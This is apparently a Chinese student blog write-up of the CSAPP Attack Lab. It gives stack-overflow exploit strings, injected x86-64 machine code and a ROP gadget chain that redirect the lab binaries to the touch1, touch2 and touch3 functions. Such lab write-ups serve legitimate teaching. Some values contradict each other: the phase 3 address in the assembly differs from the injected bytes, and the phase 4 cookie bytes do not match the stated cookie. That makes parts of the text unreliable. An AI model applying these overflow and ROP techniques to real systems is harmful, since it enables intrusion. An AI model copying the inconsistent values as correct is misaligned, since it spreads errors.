CSAPP-Lab3-AttackLab

实验主页

这是一个关于程序缓冲区溢出攻击的实验。在进行这个实验之前,请先阅读Writeup

这两个程序都是用 getbuf 函数来获取输入:

unsigned getbuf() {
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

PartⅠ:Code Injection Attacks

Phase1

在第一阶段,我们不需要注入任何代码,只需要将程序redirect到一个已经存在的函数即可

getbuf() 函数由 test() 函数调用:

void test() {
	int val;
	val = getbuf();
	printf("No exploit. Getbuf returned 0x%x\n", val);
}

我们要做的是:通过buffer overflow攻击,使得当程序从 getbuf() 中返回时,令其跳转到 touch1 函数,而非原来的 printf 语句:

void touch1() {
	vlevel = 1;
	printf("Touch1!: You called touch1()\n");
	validate(1);
	exit(0);
}

看一下test函数:

0000000000401968 <test>:
  401968:	48 83 ec 08          	sub    $0x8,%rsp
  40196c:	b8 00 00 00 00       	mov    $0x0,%eax
  401971:	e8 32 fe ff ff       	call   4017a8 <getbuf>
  401976:	89 c2                	mov    %eax,%edx
  401978:	be 88 31 40 00       	mov    $0x403188,%esi
  40197d:	bf 01 00 00 00       	mov    $0x1,%edi
  401982:	b8 00 00 00 00       	mov    $0x0,%eax
  401987:	e8 64 f4 ff ff       	call   400df0 <__printf_chk@plt>
  40198c:	48 83 c4 08          	add    $0x8,%rsp
  401990:	c3                   	ret    

程序先将rsp减8后,调用了 getbuf 函数。看一下 getbuf 函数:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop

我们画出执行 call 401a40 <Gets> 之前的栈状态:

在这里插入图片描述

RA1表示 test 的调用者的返回地址,我们并不关心

进入 getbuf 后,程序首先通过 sub $0x28,%rsp 在栈上开辟了40字节的空间,然后将这块空间的首地址作为参数传递给 Gets 函数:将读入的数据保存在这40个字节里

为了让 getbuf 返回到 touch1 中,我们只需修改test栈帧上的返回地址,将其原本的 0x401976 修改为 0x4017c0,也就是 touch1 函数的地址。

修改方式很简单,通过buffer overflow攻击即可:写入一段48字节的数据,其最后8个字节会“污染” test 栈帧上的返回地址,所以我们只需让最后8个字节的内容是 0x0000_0000_0040_17c0 即可:

于是我们创建一个文本文件 hex.in,写入如下内容:

31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31
c0 17 40 00 00 00 00 00     /* touch1's address */

前40个字节无所谓,其作用就是填满buf。最后8个字节注意字节序,x86是小端,所以低位字节在前面

然后交给 hex2raw 工具将其转为二进制:

$ cat hex.in | ./hex2raw > hex.out

最后,将得到的二进制文件feed给目标程序即可:

$ ./ctarget -i hex.out -q

在这里插入图片描述
至此,我们就完成了phase1


Phase2

这个阶段需要我们通过输入字符串注入一小段代码

阅读实验要求,我们需要跳转到 touch2 函数:

void touch2(unsigned val) {
	vlevel = 2;
	if(val == cookie) {
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	} else {
		printf(""Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
	}
	exit(0);
}

跟上一个一样,我们需要修改返回地址让程序跳转到 touch2 函数。但是这里多了一个要求:我们必须传入一个参数val,使得程序执行if分支,所以我们需要在进入 touch2 之前插入这样一条指令 movq $0x59b997fa, %rdi

注意,实验要求中做了如下限制:

在这里插入图片描述

不允许我们使用 jmp 指令和 call 指令进行跳转,只能用 ret 指令进行跳转(理由是这些指令的编码很复杂)

在这里插入图片描述

为了进行代码注入,我们可以采用如下方法:

  • 0x5561dca0 处的返回地址修改为栈上的某一地址(buf),其中存放了我们需要注入的代码,关键是 movq $0x59b997fa, %rdi 指令
  • 将我们要注入的代码存入buf,注意字节序
  • 为了让程序跳转到 touch2 函数,我们可以将其地址压栈,然后执行 ret 指令

根据上述分析,我们需要注入的代码如下:

movq $0x59b997fa, %rdi
pushq $0x4017ec		#touch2的地址
ret

将其编译为机器码,再反汇编到文件:

$ gcc -c injection.s
$ objdump -d injection.o > injection.d

现在我们得到了需要注入的机器代码:

injection.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	push   $0x4017ec
   c:	c3                   	ret

我们要注入的内容是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
48 c7 c7 fa 97 b9 59        /* mov    $0x59b997fa,%rdi */
68 ec 17 40 00              /* push   $0x4017ec */
c3                          /* ret */
00 00 00
90 dc 61 55 00 00 00 00

然后交给 hex2raw 工具将其转为二进制:

$ cat hex.in | ./hex2raw > hex.out

最后,将得到的二进制文件feed给目标程序即可:

$ ./ctarget -i hex.out -q

在这里插入图片描述
至此,我们完成了phase2

BUT,我刚开始做这个phase的时候,我打算注入的代码是:

movq $0x59b997fa, %rdi
movq $0x4017ec, (%rsp)
ret

因为我的想法是把参数传到 %rdi 后,修改此时栈顶的值为要跳转的地址,然后ret即可。但是这个方案行不通,程序会在 printf() 中抛出段错误,具体原因我也不太清楚


Phase3

这个实验与上一个类似,只是这时要传入的参数变成了一个字符串指针。程序中存在这两个函数:

int hexmatch(unsigned val, char* sval) {
    char cbuf[110];
    char* s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char* sval){
    vlevel = 3;
    if(hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

跟上一个一样,我们需要修改返回地址让程序跳转到 touch3 函数。但是这里我们需要传入的参数发生了变化:需要传入一个字符串指针,它的内容是:

"59b997fa"

所以我们需要将这个字符串注入栈空间中,然后让 %rdi 指向它,最后跳转到 touch3()

但是实验要求提醒我们注意:

在这里插入图片描述
有些函数调用会向栈中压入数据,所以我们注入的字符串可能被覆盖掉。我们需要小心地选择字符串的存储位置

我刚开始想把这个字符串尽可能向内存的低地址处存,因为栈指针在上面,所以离它越远,被覆盖的风险越小。但是最终结果证明这样做也不能保证字符串不被覆盖

那么就反过来,将字符串存入高地址,有多高呢?比栈指针还高。回想我们上面的栈状态:

在这里插入图片描述

存放返回地址的上一个4字空间,似乎没怎么用,而且这个地方是绝对安全的,不会被覆盖,所以我们选择将字符串存在这里。这时栈的状态应该是下面这样:

在这里插入图片描述

根据上述分析,我们需要注入的代码如下:

movq $0x5561dc78, %rdi
pushq $0x4018fa
ret

编译后,再反汇编:

0000000000000000 <.text>:
   0:	48 c7 c7 78 dc 61 55 	mov    $0x5561dc78,%rdi
   7:	68 fa 18 40 00       	push   $0x4018fa
   c:	c3                   	ret    

我们需要注入的内容是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
48 c7 c7 a8 dc 61 55        /* mov    $0x5561dc78,%rdi */
68 fa 18 40 00              /* push   $0x4018fa */
c3                          /* ret */
00 00 00
00 00 00 00 00 00 00 00
88 dc 61 55 00 00 00 00     /* return address */
35 39 62 39 39 37 66 61     /* "59b997fa" */

注意到内容变多了,这是因为我们需要“污染”更多的内容:不仅要把返回地址“污染”进去,也要把字符串“污染”进去(虽然我们没有考虑结束的\0)

在这里插入图片描述
至此,我们完成了phase3


Part Ⅱ: Return Oriented Programming

这一部分比上一部分更难:

  • 引入了栈随机化机制,使得我们无法定位注入代码的地址
  • 栈上的内容不再有执行权限,如果PC指向了栈空间,程序会爆段错误

这里引入了一种新的攻击方法:通过执行现有代码,而不用注入代码

最具代表性的是 return-oriented-programming(ROP)

这种方法的策略是识别出现有程序的一些特定字节序列,这些字节序列构成了一条或多条指令(后面跟着ret指令)

这样的一段字节被称作gadget

在这里插入图片描述

如上图所示,栈空间上存储了一系列 gadget 的指针。每个 gadget 都是由一系列指令序列组成,最后跟着 ret 指令

一旦程序进入第一个 gadget,就会触发一系列连锁反应,使得每个 gadget 的内容都得到了执行

例如下面这段C程序:

void setval_210(unsigned *p) {
	*p = 3347663060U;
}

它只对应两条汇编指令:

400f15:		c7 07 d4 48 89 c7	movl $0xc78948d4, (%rdi)
400f1b:		c3					retq

查阅指令手册可知,这里面的字节序列 48 89 c7 正好是 movq %rax, %rdi 的指令编码

所以,如果我们让程序跳转到 400f18,就能够执行 movq %rax, %rdi这条指令,这虽然看起来微不足道,但是使用一系列的 gadget,我们就能达到特定的目的


Phase4

这部分重复了Phase2的内容,但是有如下要求:

  • 使用ROP方法进行攻击
  • 只允许使用程序中farm中的指令作为 gadget

分析一下这个问题:

  • 我们需要将 cookie 的值写入%rdi
  • 同时将touch2的位置作为返回地址

这些都需要我们编码进exploit string当中

一种思路是将cookie的值放在栈里,然后执行 popq %rdi。但是经过搜索,代码中并没有包含 popq %rdi 的 gadget 可供使用,我们需要中转一下:

popq %rax			# 58
movq %rax, %rdi		# 48 89 c7

这些二进制代码在程序中都有,而且很幸运的是他们的后面都跟着nop 指令,然后是 ret,这非常满足我们的需要:

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	ret
...
00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	ret    

所以我们让栈呈现如下状态:

在这里插入图片描述

  • I1存放 popq %rax 的地址,查阅反汇编结果可知,为 0x4019ab
  • cookie存放的是cookie值,当程序从getbuf中返回时,%rsp 就指向了cookie,所以此时执行pop就能将cookie值保存到 %rax
  • I2存放的是 movq %rax, %rdi 的地址,当程序执行完 popq %rax; nop; ret 指令后,就会跳转到这条指令,于是我们就能将cookie值保存进 %rdi
  • touch2保存的touch2的入口地址,当程序执行完movq %rax, %rdi; nop; ret 指令后,就会跳转到touch2执行,达到了我们的目的

所以我们需要注入的内容为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

ab 19 40 00 00 00 00 00
fa 97 b9 5a 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

执行完getbuf后,函数栈帧如下所示,符合我们的设计:

在这里插入图片描述

至此,我们完成了phase4:

在这里插入图片描述


Phase5

Phase5是重复Phase3的内容:输入参数是一个字符串。但是使用的是ROP方法

听从实验指导,不做了哈哈哈哈哈(尝试了一下,难度很大,比较花时间)

在这里插入图片描述

原理和上一个是一样的,但是需要凑的指令更多,更复杂

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值